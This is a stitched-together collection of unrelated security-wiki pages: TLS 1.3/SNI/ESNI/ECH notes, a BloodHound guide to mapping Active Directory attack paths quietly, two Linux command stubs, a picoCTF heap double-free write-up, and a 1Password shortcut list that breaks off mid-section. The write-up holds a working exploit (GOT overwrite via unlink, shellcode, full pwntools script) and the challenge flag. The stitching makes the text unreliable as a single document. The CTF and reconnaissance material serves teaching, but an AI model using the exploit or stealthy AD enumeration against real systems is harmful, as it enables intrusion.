pre_shared_key --------> ServerHello + pre_shared_key + key_share* {EncryptedExtensions} {Finished} <-------- [Application Data*] {Finished} --------> [Application Data] <-------> [Application Data] Figure 3: Message Flow for Resumption and PSK ``` 1. 客户端向服务器发送一个带有 key_share 扩展的 ClientHello 消息。该扩展列出了客户端支持的密钥交换加密方法。 2. 服务器用一个带有 key_share 扩展名的 ServerHello 消息进行响应,这个扩展包含了它要用于密钥交换的加密方法,并且服务器将其参数一同发送给客户端。 3. 服务器和客户端都交换认证消息。 4. 服务器向客户端发送 NewSessionTicket 消息,其中包含一个 PSK ,客户端可以通过在 ClientHello 消息的 pre_shared_key 扩展中包含这个 PSK ,用于未来的握手。 5. 客户端和服务器现在可以交换加密的应用数据。 6. 在未来的握手中,客户端向服务器发送一个包含 key_share 和 pre_shared_key 扩展名的 ClientHello 消息。 pre_shared_key 扩展包含 NewTicketSession 消息中发送的 PSK 。 7. 服务器用包含 pre_shared_key 和 key_share 扩展名的 ServerHello 消息作出响应。 pre_shared_key 扩展包含服务器同意使用的 PSK ,并将其参数发送给客户端。 8. 服务器和客户端互相发送 Finished 消息,之后客户端和服务器可以交换加密的应用数据。 案例 - https://blog.zeddyu.info/2021/04/20/tls-poison/#tls-13-session-resumption---psk #### 0-RTT - https://blog.zeddyu.info/2021/04/20/tls-poison/#tls-13-session-resumption---0-rtt #### TLS1.3 警告协议 目的是以简单的通知机制告知通信出现异常情况,警告消息通常会携带 Close_notify 异常,在连接关闭的时候报告错误,Alert_Level 字段标识告警的严重程度,可取值 Warning 或者 Fatal,严重程度为 Fatal 时会立即终止当前连接。 --- ## TLS Poison - [TLS Poison](../../../Security/RedTeam/协议安全/Protocol-Exploits.md#tls-poison) --- ## SNI **什么是 SNI** 随着IPv4地址的短缺,为了让多个域名复用一个IP,在HTTP服务器上引入了虚拟主机的概念。服务器可以根据客户端请求中不同的host,将请求分发给不同的域名(虚拟主机)来处理。 但是,在一个被多个域名(虚拟主机)共享IP的HTTPS服务器中,由于在握手建立之前服务器无法知道客户端请求的是哪个host,所以无法将请求交给特定的虚拟主机。然而,要完成握手,又必须读取虚拟主机中配置的证书信息。 Server name indication(简称,SNI)就是用来解决这个矛盾问题的。SNI要求客户端在与服务器握手时就携带需要访问的域名的host信息。这样,服务器就知道需要用哪个虚拟主机的证书与客户端握手并建立TLS连接。 SNI最早在2004年被提出,目前主流的浏览器、服务器和测试工具都已支持SNI。 **相关文章** - [SNI可能引发的HTTPS访问异常](https://help.aliyun.com/document_detail/40519.html) --- ## ESNI **什么是 ESNI** ESNI 通过加密客户端问候消息的 SNI 部分(仅此部分),来保护 SNI 的私密性。加密仅在通信双方(在此情况下为客户端和服务器)都有用于加密和解密信息的密钥时才起作用,就像两个人只有在都有储物柜密钥时才能使用同一储物柜一样。由于客户端问候消息是在客户端和服务器协商 TLS 加密密钥之前发送的,因此 ESNI 加密密钥必须以其他方式进行传输。 解决方案:公钥加密。Web 服务器在其 DNS 记录中添加一个公钥,这样,当客户端查找正确的服务器地址时,同时能找到该服务器的公钥。这有点像将房门钥匙放在屋外的密码箱中,以便访客可以安全地进入房屋。然后,客户端即可使用公钥来加密 SNI 记录,以便只有特定的服务器才能解密它。(这是简单说明;有关详细的技术说明,请参阅此博客文章。) 假定爱丽丝想访问鲍勃的网站 www.bobisawesome.example.com。像每个负责的网站所有者一样,鲍勃对其网站使用 TLS,以便对往返网站的所有流量进行加密。鲍勃还部署了 ESNI,以进一步保护爱丽丝这样的网站访问者。 当爱丽丝在笔记本电脑的浏览器中输入 https://www.bobisawesome.example.com 时,笔记本电脑将通过以下流程加载网站: 1. 她的笔记本电脑向 DNS 服务器发送查询,以查询网站的 IP 地址。 2. DNS 响应告诉爱丽丝的笔记本电脑要使用哪个 IP 地址才能找到鲍勃的网站,DNS 响应中还包括鲍勃的 ESNI 公钥。 3. 爱丽丝的笔记本电脑向指定的 IP 地址发送客户端问候消息,并使用鲍勃的公钥对消息的 SNI 部分进行加密。 4. 鲍勃的 Web 服务器显示鲍勃的 TLS 证书。 5. TLS 握手继续进行,爱丽丝的笔记本电脑加载 www.bobisawesome.example.com。任何可能正在监视网络的攻击者都无法看到爱丽丝正在访问哪个网站。 * **相关文章** - [什么是加密的 SNI? | ESNI 如何工作](https://www.cloudflare.com/zh-cn/learning/ssl/what-is-encrypted-sni/) - [ESNI 加密装甲中的最后一个缝隙](https://xiumu.org/note/esni.shtml) --- ## ECH **什么是 ECH** 加密客户端问候 (ECH) 是 TLS 协议的另一个扩展,它通过加密保护客户端问候的 SNI 部分。但是,与 ESNI 不同的是,ECH 会加密整个客户端问候。 **相关文章** - [Good-bye ESNI, hello ECH!](https://blog.cloudflare.com/encrypted-client-hello/)
sec-knowleage
# BloodHound BloodHound 绘制 Active Directory 和发现攻击路径的工具。 --- ## 使用BloodHound映射AD AD有一个非常好的特性,域中的每个用户都知道所有资源的位置信息。所以当你获得域中一个用户的凭证或者shell时,你可以在不破坏任何规则的前提下映射整个域。任何用户都可以向Active Directory请求计算机,域控制器,组和会话。 所以我们可以使用这个特性收集大量的信息,并且画出一个特别牛X的AD的地图。首先,有两个需要预先安装的软件,你需要安装BLoodHound和一个数据库去存储数据。我们建议您使用`neo4j`,下面是具体步骤。 ## 安装 neo4j ### Linux * 手动从官网安装[社区版](https://neo4j.com/download/community-edition/) (不是用apt)。 * <http://neo4j.com/download/other-releases/#releases​> * 用 `/opt/neo4j-community-3.3.0/bin/neo4j start` 命令安装neo4j。 * 用浏览器访问 `localhost:7474`。 * 用 用户名 和 密码 `neo4j`登录。 * 为`neo4j`账户设置新密码。 * 在 `neo4j`安装目录中打开`neo4j.conf`文件并且设置以下变量,这样每个主机都可以访问数据库。 ```bash dbms.connector.http.enabled=true dbms.connector.http.listen_address=0.0.0.0:7474 ``` * 运行 `/opt/neo4j-community-3.1.1/bin/neo4j`重启`neo4j`。 * 使用浏览器访问 `http://0.0.0.0:7474/browser/`。 ### Windows Neo4j 可以用Powershell启动 * `powershell -exec bypass` 搞出一个管理员权限的Powershell。 * 切换到 `neo4j/bin` 目录。 * `Import-Module .\Neo4j-Management.psd1` * `Invoke-Neo4j Console` * 和 Linux 一样,在浏览器中打开 `localhost:7474` 并且修改密码 ### MacOS 和Linux的安装过程一样,Neo4j不支持 java 9,所以 Java SDK 的版本必须是 8. 在 Homebrew 中使用 cask 安装 java 8。 * `brew update` * `brew cask install java8` ## 初探 Bloodhound * 根据 [git page](https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started) 的教程安装 Bloodhound。 * 启动 BloodHound 并且使用之前设置的密码登录 neo4j 数据库。 ## 数据收集 将数据收集为 BloodHound 可以读取的形式,这被称为”摄取“(ingestion)。有很多方法可以实现,并且实现方法也不尽相同。最常用的是 SharpHound (C# ingestor) 和 Invoke-BloodHound (Powershell ingestor)。他们都在i最新的发行版中被捆绑安装。 在 Bloodhound [version 1.5](https://github.com/BloodHoundAD/BloodHound/releases/tag/1.5)中,容器被更新,你可以使用几乎所有的收集器,详细信息参见博客 [Specter Ops](https://posts.specterops.io/bloodhound-1-5-the-container-update-fdf1ed2ad9da)。 ### Powershell ingestion 如果你可以访问内网,我建议你在你自己的机器上使用 `runas /netonly` 命令运行 Bloodhound,不要在你不能控制的机器上使用。这样你就不用上传一堆文件弄乱那台域里的机器。你也不会触发反病毒软件,时也不必偷偷把数据搞到自己的机器上,所以说这样动静会小点。 ```bash runas /netonly /FQDN\user\<username> powershell ``` 举例说明,在域 `testlab.local` 中,用户名为 `testuser`。 ```bash runas /netonly /testlab.local\user\testuser powershell ``` 按要求输入testuser的密码,这将产生一个新的Powershell窗口,这个窗口将使用本地dns设置找到最近的域控制器,并且执行BloodHound执行的各种LDAP查询。打开一个运行策略设置为bypass的Powershell,加载Powershell模块 `Import-module SharpHound.ps1`。 然后开始收集数据。下面这个命令指定收集所有信息,并把它们压缩到一个zip文件中,并且删除收集过程中所有散落的csv文件。 ```Powershell Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV ``` 现在在你运行脚本的目录底下会产生一个包含许多csv文件的zip文件。从v2.0开始,这个文件可以i直接被拖到BloodHound接口上。 你可以立即看到数据被填入数据库和接口中。 这样你就可以操作BloodHound来创建一些非常吊的地图。你也可以执行查询并展示出到DA的最短路径,等等。参阅 `默认查询` 和 SpectreOps 的博客文章获取更多的灵感。 #### kali中用 Python 摄取(ingestion) 如果你在本地网络中有一台机器装了python,你可以使用 [BloodHound.py ingestor](https://github.com/fox-it/BloodHound.py) ### 更多关于 BloodHound 对在节点信息下搜集到的东西的解释。 <https://github.com/BloodHoundAD/BloodHound/wiki/Users> <https://posts.specterops.io/sharphound-target-selection-and-api-usage-bba517b9e69b> <https://porterhau5.com/blog/representing-password-reuse-in-bloodhound/> <https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/> <http://threat.tevora.com/lay-of-the-land-with-bloodhound/>
sec-knowleage
ypdomainname === 显示主机的NIS的域名 ## 补充说明 **ypdomainname命令** 显示主机的NIS的域名。 ### 语法 ```shell ypdomainname(选项) ``` ### 选项 ```shell -v:详细信息模式。 ```
sec-knowleage
dpkg-reconfigure === Debian Linux中重新配制一个已经安装的软件包 ## 补充说明 **dpkg-reconfigure命令** 是Debian Linux中重新配置已经安装过的软件包,可以将一个或者多个已安装的软件包传递给此指令,它将询问软件初次安装后的配置问题。 当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置。 ### 语法 ```shell dpkg-reconfigure(选项)(参数) ``` ### 选项 ```shell -a:重新配置所有的软件包; -u或--unseen-only:仅显示未提过的问题; --default-priority:使用默认优先级,而非“低”级; --force:强制执行操作,需谨慎使用此选项; --no-reload:不要轻易的重装模板(使用时请慎重考虑); -f或--frontend:指定 debconf 前端界面; -p或--priority:指定要显示的问题的最优先级; --terse:开启简要模式。 ``` ### 参数 软件包名:需要重新配置的已安装的软件包。 ### 实例 用于配置语言: ```shell sudo dpkg-reconfigure locales ```
sec-knowleage
# SecondLife Binary Exploitation, 400 points ## Description: > Just pwn this program using a double free and get a flag. ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } int main(int argc, char *argv[]) { //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord char *first, *second, *third, *fourth; char *fifth, *sixth, *seventh; first=malloc(256); printf("Oops! a new developer copy pasted and printed an address as a decimal...\n"); printf("%d\n",first); fgets(first, LINE_BUFFER_SIZE, stdin); second=malloc(256); third=malloc(256); fourth=malloc(256); free(first); free(third); fifth=malloc(128); free(first); sixth=malloc(256); puts("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful..."); gets(sixth); seventh=malloc(256); exit(0); } ``` ## Solution: As mentioned in the comment, this is an artificial example taken from [Secure Coding in C and C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137). A complete analysis of the example exists in the book (section 4.6, Doug Lea's Memory Allocator, a.k.a. `dlmalloc`), and this writeup is inspired by it. In order to follow this writeup, it is useful to have some background in the internal structure of the `dlmalloc` heap. The [Heap overflow](Heap_overflow.md) writeup contains a basic explanation. The vulnerability here is *double free*: ```c free(first); // <-- 'first' is freed free(third); fifth=malloc(128); free(first); // <-- 'first' is freed again ``` Using this vulnerability, it is possible to write a DWORD to an arbitrary memory location, as long as the following additional conditions are met: * The chunk being freed must be located between two occupied chunks (i.e. it must to be merged with the previous or next chunk as part of the free process) * Some other chunk needs to be freed after the double-free chunk is freed for the first time. This is because when a chunk is freed for the first time, it is moved to a special bin which acts as a "cache bin". When another allocation is performed, the chunk in the cache bin will be checked first and if it is compliant with the allocation requirements, it will be used. If, on the other hand, another chunk has been freed while a chunk is in the cache bin, the newly freed chunk will replace the older chunk in the cache bin and the older chunk will move to a regular bin. The attack requires the double-free chunk to be in a regular bin. * The (regular) bin to which the chunk will be added after being freed must be empty. Let's see how these conditions are met in our example: ```c // all bins are empty first=malloc(256); // our target is allocated printf("Oops! a new developer copy pasted and printed an address as a decimal...\n"); printf("%d\n",first); fgets(first, LINE_BUFFER_SIZE, stdin); second=malloc(256); // Used to ensure that 'first' won't be merged third=malloc(256); // Will be used to remove 'first' from the cache bin fourth=malloc(256); // Used to ensure that 'third' isn't merged free(first); // 'first' is freed and moved to the cache bin free(third); // 'third' is freed and replaces 'first' in the cache bin, 'first' moves to a currently empty regular bin and isn't merged since 'second' is in use fifth=malloc(128); free(first); // Double free with all conditions met ``` Once a buffer is freed for the second time under these conditions, the internal state of the heap manager gets corrupted: The bin's doubly-linked list still points to the chunk, but the chunk itself doesn't point back to the bin. So, the chunk can still be allocated, but it is impossible to actually remove (i.e. `unlink()`) it from the bin as part of the allocation process. This brings the heap manager to a state where it will continue to provide the same chunk for all future allocation requests which match the bin criteria. Let's continue with the example: ```c sixth=malloc(256); ``` The pointer returned by the heap manager is the same pointer as `first`. Now we get a change to copy our payload: ```c puts("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful..."); gets(sixth); ``` We'll enter the following payload: ```python payload = p32(exe.got["exit"] - 12) + p32(address + 8) + asm('push {}; ret;'.format(hex(exe.symbols["win"]))) ``` This will cause the buffer to look like: ``` Buffer Casting to free chunk +------------------------+---+ +------------------------+---+ | Size of chunk | 0 | | Size of chunk | 0 | Pointer returned by malloc --> +------------------------+---+ +------------------------+---+ | exe.got["exit"] - 12 | | Forward Pointer | +----------------------------+ +----------------------------+ +---| address + 8 | | Back Pointer | +-> +----------------------------+ +----------------------------+ | push 'win'; ret; | | Unused | | | | | + + +----------------------------+ | | | Size of chunk | +----------------------------+ +----------------------------+ ``` We add 8 bytes to `address` (which is the base address of the first/sixth/seventh buffer) since that's where we located our shellcode, right after `p32(exe.got["exit"] - 12) + p32(address + 8)`. We continue with: ```c seventh=malloc(256); ``` Again, the same buffer is retrieved from the bin and therefore should be removed from the linked list by calling `unlink`: ```c FD = P->fd; // FD points to (exe.got["exit"] - 12), since that's the value we overran the buffer with BK = P->bk; // BK points to (address of first/sixth/seventh + 8), since that's the value we overran the buffer with FD->bk = BK; // (exe.got["exit"] - 12) + 12 = (address of first/sixth/seventh + 8); We wrote an arbitrary DWORD to an arbitrary location BK->fd = FD; // (address of first/sixth/seventh + 8) + 8 = (exe.got["exit"] - 12); Side effect ``` The `unlink` macro allowed us to overwrite the .got.plt address of `exit` with the address of our shellcode. Notice that as a side-effect, a part of the buffer was overwritten. Since our shellcode is very short, it won't be corrupted. If it was longer, we would have had to use a trampoline as demonstrated in [Heap overflow](Heap_overflow.md). Now, when we call `exit`, our shellcode gets called instead and gives us the flag. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/secondlife_0_1d09c6c834e9512daebaf9e25feedd53/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start() io.recvuntil("Oops! a new developer copy pasted and printed an address as a decimal...\n") address = int(io.recvline()) io.sendline("a") log.info("Address of buffer: {}".format(hex(address))) log.info("Address of exit(): {}".format(hex(exe.got["exit"]))) log.info("Address of win(): {}".format(hex(exe.symbols["win"]))) payload = p32(exe.got["exit"] - 12) + p32(address + 8) + asm('push {}; ret;'.format(hex(exe.symbols["win"]))) log.info("payload:\n{}".format(hexdump(payload))) io.sendlineafter("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...", payload) print io.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/SecondLife# python exploit.py [*] '/media/sf_CTFs/pico/SecondLife/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.HYAo5mXrrn' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/secondlife_0_1d09c6c834e9512daebaf9e25feedd53' [+] Starting remote process '/problems/secondlife_0_1d09c6c834e9512daebaf9e25feedd53/vuln' on 2019shell1.picoctf.com: pid 1136867 [*] Address of buffer: 0x9acd008 [*] Address of exit(): 0x804d02c [*] Address of win(): 0x8048956 [*] payload: 00000000 20 d0 04 08 10 d0 ac 09 68 56 89 04 08 c3 │ ···│····│hV··│··│ 0000000e [+] Receiving all data: Done (32B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1136867) picoCTF{HeapHeapFlag_8342a39b} ```
sec-knowleage
--- title: 1Password date: 2022-11-23 16:23:31.702312 background: bg-[#397fe4] label: tags: - tools - categories: - Keyboard Shortcuts intro: | A cheat sheet for 1password's keyboard shortcuts in Mac, Windows, iOS, Linux. --- 1Password Keyboard Shortcuts for Mac ------------------ ### Global keyboard shortcuts | `Shortcut ` | Action | |-----------------------------|--------------------| | Enter your own shortcut. | Show 1Password. | | `Shift` `cmd` `Space ` | Show Quick Access. | | `Shift` `cmd` `L ` | Lock 1Password. | | `cmd` `\` | Autofill. | {.shortcuts} ### 1Password app {.row-span-2} | `Shortcut ` | Action | |-----------------------------|----------------------------------------------------------------------------------------------| | `cmd` `/` | View keyboard shortcuts. | | `cmd` `,` | Open preferences. | | `cmd` `F ` | Search for items. | | `Option` `cmd` `F ` | Find items in the current list. | | `Esc ` | Clear the search field. | | `cmd` `1 ` | Switch to All Accounts. | | `cmd` `2...9` | Switch accounts and collections. | | `cmd` `[` | Go back. | | `cmd` `]` | Go forward. | | `Down Arrow ` | Focus next row. | | `Up Arrow ` | Focus previous row. | | `Right Arrow ` | Focus right section. | | `Left Arrow ` | Focus left section. | | `Return or Space ` | Activate focused element. | | `cmd` `C ` | Copy the username or primary field of the selected. | | `Shift` `cmd` `C ` | Copy the password of the selected. | | `Option` `cmd` `C ` | Copy the one-time password of the selected. | | `Shift` `cmd` `F ` | Open the website for the selected login in your browser and fill your username and password. | | `cmd` `O ` | Open the selected in a new window. | | `cmd` `N ` | Create a new item. | | `cmd` `E ` | Edit the selected. | | `cmd` `S ` | Save changes to an item. | | `Esc ` | Cancel an edit. | | `cmd` `R ` | Reveal or conceal secure fields in the selected. | | `Option ` | Temporarily reveal all secure fields in the selected.* | | `Delete ` | Move the selected(s) to the Archive. | | `cmd` `Delete ` | Delete the selected(s). | | `Shift` `cmd` `D ` | Collapse or expand the sidebar. | | `cmd` `+` | Zoom in. | | `cmd` `-` | Zoom out. | | `cmd` `0 ` | Revert to actual size. | | `cmd` `M ` | Minimize the app to the Dock. | | `cmd` `W ` | Close the current window. | {.shortcuts} ### 1Password in the browser {.row-span-2} | `Shortcut ` | Action | |-----------------------------|-------------------------------------------------------------------------------------------| | `Shift` `cmd` `X ` | Open or close the 1Password pop` `up in Chrome, Edge, Brave, or Safari. | | `cmd` `.` | Open or close the 1Password pop-up in Firefox. | | `cmd` `F ` | Search for items. | | `Esc ` | Clear the search field. | | `cmd` `D ` | Show the list of vaults. | | `cmd` `Down Arrow ` | Open or close the category menu. | | `Down Arrow ` | Select the next category, item, or field. | | `Up Arrow ` | Select the previous category, item, or field. | | `Right Arrow ` | Select the item details. | | `Left Arrow ` | Select the item list. | | `Space ` | Expand item overview banners. | | `Return ` | Copy the selected detail.Perform the default action for the selected. | | `cmd` `C ` | Copy the username of the selected. | | `Shift` `cmd` `C ` | Copy the password of the selected. | | `Control` `Shift` `cmd` `C` | Copy the one-time password of the selected. | | `cmd` `Return ` | Open the website for the selected login in a new tab and fill your username and password. | | `cmd` `O ` | Open the selected in a separate window. | | `cmd` `I ` | Create a new item. | | `cmd` `E ` | Edit the selected. | | `Control` `Option ` | Temporarily reveal all secure fields in the selected. | | `cmd` `G ` | Show the password generator. | | `cmd` `C ` | Copy a password from the password generator. | | `Shift` `cmd` `L ` | Lock 1Password. | | `Esc ` | Close the 1Password pop` `up. | {.shortcuts} ### Quick Access | `Shortcut ` | Action | |-----------------------------|-------------------------------------------------------------------------------------| | `Shift` `cmd` `Space` | Open or close Quick Access. | | `Esc ` | Clear the search field. | | `cmd` `1...9` | Switch accounts or collections. | | `Right Arrow ` | View all available actions. | | `cmd` `C ` | Copy username or primary field. | | `Shift` `cmd` `C ` | Copy password. | | `Option` `cmd` `C ` | Copy one-time password. | | `cmd` `O ` | Open item details in new window. | | `Option` `Return ` | Open the website for the login in your browser and fill your username and password. | | `Shift` `Return ` | Fill the item in the currently focused app. | | `Shift` `cmd` `O ` | Open the item in the app. | {.shortcuts} 1Password Keyboard Shortcuts for iOS ------------------ ### 1Password app (I) | `Shortcut ` | Action | |---------------------------|----------------------------------------------------------| | `cmd` `,` | Open settings. | | `cmd` `F ` | Search for items. | | `cmd` `.` | Clear the search field. | | `cmd` `1 ` | Switch to All Accounts. | | `cmd` `2...9` | Switch accounts and collections. | | `cmd` `[` | Go back. | | `cmd` `]` | Go forward. | | `Down Arrow ` | Focus next item. | {.shortcuts} ### 1Password app (II) | `Shortcut ` | Action | |-----------------------------|----------------------------------------------------------| | `Up Arrow ` | Focus previous item. | | `Space ` | Activate focused item. | | `cmd` `C ` | Copy the username or primary field of the selected. | | `Shift` `cmd` `C ` | Copy the password of the selected. | | `Option` `cmd` `C ` | Copy the one-time password of the selected. | | `cmd` `O ` | Open the selected in a separate window. | | `cmd` `E ` | Edit the selected. | {.shortcuts} ### 1Password app (III) | `Shortcut ` | Action | |---------------------------|----------------------------------------------------------| | `cmd` `S ` | Save changes to an item. | | `cmd` `.` | Cancel an edit. | | `cmd` `D ` | Add the selected to your favorites. | | `Delete ` | Move the selected(s) to the Archive. | | `cmd` `Delete ` | Delete the selected(s). | | `Shift` `cmd` `D ` | Collapse or expand the sidebar. | | `Shift` `cmd` `L ` | Lock 1Password. | {.shortcuts} 1Password Keyboard Shortcuts for Windows ------------------ ### Global keyboard shortcuts | `Shortcut ` | Action | |--------------------------|--------------------| | `Enter your own shortcut.` | Show 1Password. | | `Ctrl` `Shift` `Space` | Show Quick Access. | | `Ctrl` `Shift` `L ` | Lock 1Password. | | `Ctrl` `\` | Fill in Browser. | {.shortcuts} ### 1Password app {.row-span-2} | `Shortcut ` | Action | |--------------------------|----------------------------------------------------------------------------------------------| | `Ctrl` `Shift` `/` | View keyboard shortcuts. | | `Ctrl` `,` | Open settings. | | `Ctrl` `F ` | Search for items. | | `Ctrl` `Alt` `F ` | Find items in the current list. | | `Esc ` | Clear the search field. | | `Ctrl` `1 ` | Switch to All Accounts. | | `Ctrl` `2...9` | Switch accounts and collections. | | `Alt` `Left Arrow ` | Go back. | | `Alt` `Right Arrow ` | Go forward. | | `Down Arrow ` | Focus next row. | | `Up Arrow ` | Focus previous row. | | `Right Arrow ` | Focus right section. | | `Left Arrow ` | Focus left section. | | `Space ` | Activate focused element. | | `Ctrl` `C ` | Copy the username or primary field of the selected. | | `Ctrl` `Shift` `C ` | Copy the password of the selected. | | `Ctrl` `Alt` `C ` | Copy the one-time password of the selected. | | `Ctrl` `Shift` `F ` | Open the website for the selected login in your browser and fill your username and password. | | `Ctrl` `O ` | Open the selected in a new window. | | `Ctrl` `N ` | Create a new item. | | `Ctrl` `E ` | Edit the selected. | | `Ctrl` `S ` | Save changes to an item. | | `Esc ` | Cancel an edit. | | `Ctrl` `R ` | Reveal or conceal secure fields in the selected. | | `Ctrl` `Alt ` | Temporarily reveal all secure fields in the selected.* | | `Delete ` | Move the selected(s) to the Archive. | | `Ctrl` `Delete ` | Delete the selected(s). | | `Ctrl` `Shift` `D ` | Collapse or expand the sidebar. | | `Ctrl` `+` | Zoom in. | | `Ctrl` `-` | Zoom out. | | `Ctrl` `0 ` | Revert to actual size. | {.shortcuts} ### 1Password in the browser {.row-span-2} | `Shortcut ` | Action | |---------------------------------------|-------------------------------------------------------------------------------------------| | `Ctrl` `Shift` `X ` | Open or close the 1Password pop` `up in Chrome, Edge, or Brave. | | `Ctrl` `.` | Open or close the 1Password pop-up in Firefox. | | `Ctrl` `F ` | Search for items. | | `Esc ` | Clear the search field. | | `Ctrl` `D ` | Show the list of vaults. | | `Ctrl` `Down Arrow ` | Open or close the category menu. | | `Down Arrow ` | Select the next category, item, or field. | | `Up Arrow ` | Select the previous category, item, or field. | | `Right Arrow ` | Select the item details. | | `Left Arrow ` | Select the item list. | | `Space ` | Expand item overview banners. | | `Enter ` | Copy the selected detail.Perform the default action for the selected. | | `Ctrl` `C ` | Copy the username of the selected. | | `Ctrl` `Shift` `C ` | Copy the password of the selected. | | `Ctrl` `Shift` `Win` `C` | Copy the one-time password of the selected. | | `Ctrl` `Enter ` | Open the website for the selected login in a new tab and fill your username and password. | | `Ctrl` `O ` | Open the selected in a separate window. | | `Ctrl` `I ` | Create new item. | | `Ctrl` `E ` | Edit the selected. | | `Ctrl` `Alt ` | Temporarily reveal all secure fields in the selected. | | `Ctrl` `G ` | Show the password generator. | | `Ctrl` `C ` | Copy a password from the password generator. | | `Ctrl` `Shift` `L ` | Lock 1Password. | | `Esc ` | Close the 1Password pop` `up. | {.shortcuts} ### Quick Access | `Shortcut ` | Action | |------------------------------|-------------------------------------------------------------------------------------| | `Ctrl` `Shift` `Space` | Open or close Quick Access. | | `Esc ` | Clear the search field. | | `Ctrl` `1...9 ` | Switch accounts or collections. | | `Right Arrow ` | View all available actions. | | `Ctrl` `C ` | Copy username or primary field. | | `Ctrl` `Shift` `C ` | Copy password. | | `Ctrl` `Alt` `C ` | Copy one-time password. | | `Ctrl` `O ` | Open item details in new window. | | `Alt` `Enter ` | Open the website for the login in your browser and fill your username and password. | | `Ctrl` `Shift` `O ` | Open the item in the app. | {.shortcuts} 1Password Keyboard Shortcuts for Linux ------------------ ### X11 | `Shortcut ` | Action | |--------------------------|--------------------| | Enter your own shortcut | Show 1Password. | | `Ctrl` `Shift` `Space` | Show Quick Access. | | `Ctrl` `Shift` `L ` | Lock 1Password. | | `Ctrl` `\` | Fill in Browser. | {.shortcuts} ### 1Password app {.row-span-4} | `Shortcut ` | Action | |--------------------------|----------------------------------------------------------------------------------------------| | `Ctrl` `Shift` `/` | View keyboard shortcuts. | | `Alt ` | Show or hide the app menu in the title bar. | | `Ctrl` `,` | Open settings. | | `Ctrl` `F ` | Search for items. | | `Ctrl` `Alt` `F ` | Find items in the current list. | | `Esc ` | Clear the search field. | | `Ctrl` `1 ` | Switch to All Accounts. | | `Ctrl` `2...9` | Switch accounts and collections. | | `Alt` `Left Arrow ` | Go back. | | `Alt` `Right Arrow ` | Go forward. | | `Down Arrow ` | Focus next row. | | `Up Arrow ` | Focus previous row. | | `Right Arrow ` | Focus right section. | | `Left Arrow ` | Focus left section. | | `Space ` | Activate focused element. | | `Ctrl` `C ` | Copy the username or primary field of the selected. | | `Ctrl` `Shift` `C ` | Copy the password of the selected. | | `Ctrl` `Alt` `C ` | Copy the one-time password of the selected. | | `Ctrl` `Shift` `F ` | Open the website for the selected login in your browser and fill your username and password. | | `Ctrl` `O ` | Open the selected in a new window. | | `Ctrl` `N ` | Create a new item. | | `Ctrl` `E ` | Edit the selected. | | `Ctrl` `S ` | Save changes to an item. | | `Esc ` | Cancel an edit. | | `Ctrl` `R ` | Reveal or conceal secure fields in the selected. | | `Ctrl` `Alt ` | Temporarily reveal all secure fields in the selected. | | `Delete ` | Move the selected(s) to the Archive. | | `Ctrl` `Delete ` | Delete the selected(s). | | `Ctrl` `Shift` `D ` | Collapse or expand the sidebar. | | `Ctrl` `+` | Zoom in. | | `Ctrl` `-` | Zoom out. | | `Ctrl` `0 ` | Revert to actual size. | {.shortcuts} ### 1Password in the browser {.row-span-4} | `Shortcut ` | Action | |--------------------------------|-------------------------------------------------------------------------------------------| | `Ctrl` `Shift` `X ` | Open or close the 1Password pop` `up in Chrome, Edge, or Brave. | | `Ctrl` `.` | Open or close the 1Password pop-up in Firefox. | | `Ctrl` `F ` | Search for items. | | `Esc ` | Clear the search field. | | `Ctrl` `D ` | Show the list of vaults. | | `Ctrl` `Down Arrow ` | Open or close the category menu. | | `Down Arrow ` | Select the next category, item, or field. | | `Up Arrow ` | Select the previous category, item, or field. | | `Right Arrow ` | Select the item details. | | `Left Arrow ` | Select the item list. | | `Space ` | Expand item overview banners. | | `Enter ` | Copy the selected detail.Perform the default action for the selected. | | `Ctrl` `C ` | Copy the username of the selected. | | `Ctrl` `Shift` `C ` | Copy the password of the selected. | | `Ctrl` `Shift` `Super key` `C` | Copy the one-time password of the selected. | | `Ctrl` `Enter ` | Open the website for the selected login in a new tab and fill your username and password. | | `Ctrl` `O ` | Open the selected in a separate window. | | `Ctrl` `I ` | Create new item. | | `Ctrl` `E ` | Edit the selected. | | `Ctrl` `Alt ` | Temporarily reveal all secure fields in the selected. | | `Ctrl` `G ` | Show the password generator. | | `Ctrl` `C ` | Copy a password from the password generator. | | `Ctrl` `Shift` `L ` | Lock 1Password. | | `Esc ` | Close the 1Password pop` `up. | {.shortcuts} ### GNOME | Shortcut | Action | |------------------------|--------------------------| | `Ctrl` `P` | 1password --show | | `Ctrl` `Shift` `Space` | 1password --quick-access | | `Ctrl` `Shift` `L` | 1password --lock | | `Ctrl` `\` | 1password --fill | {.shortcuts} ### KDE 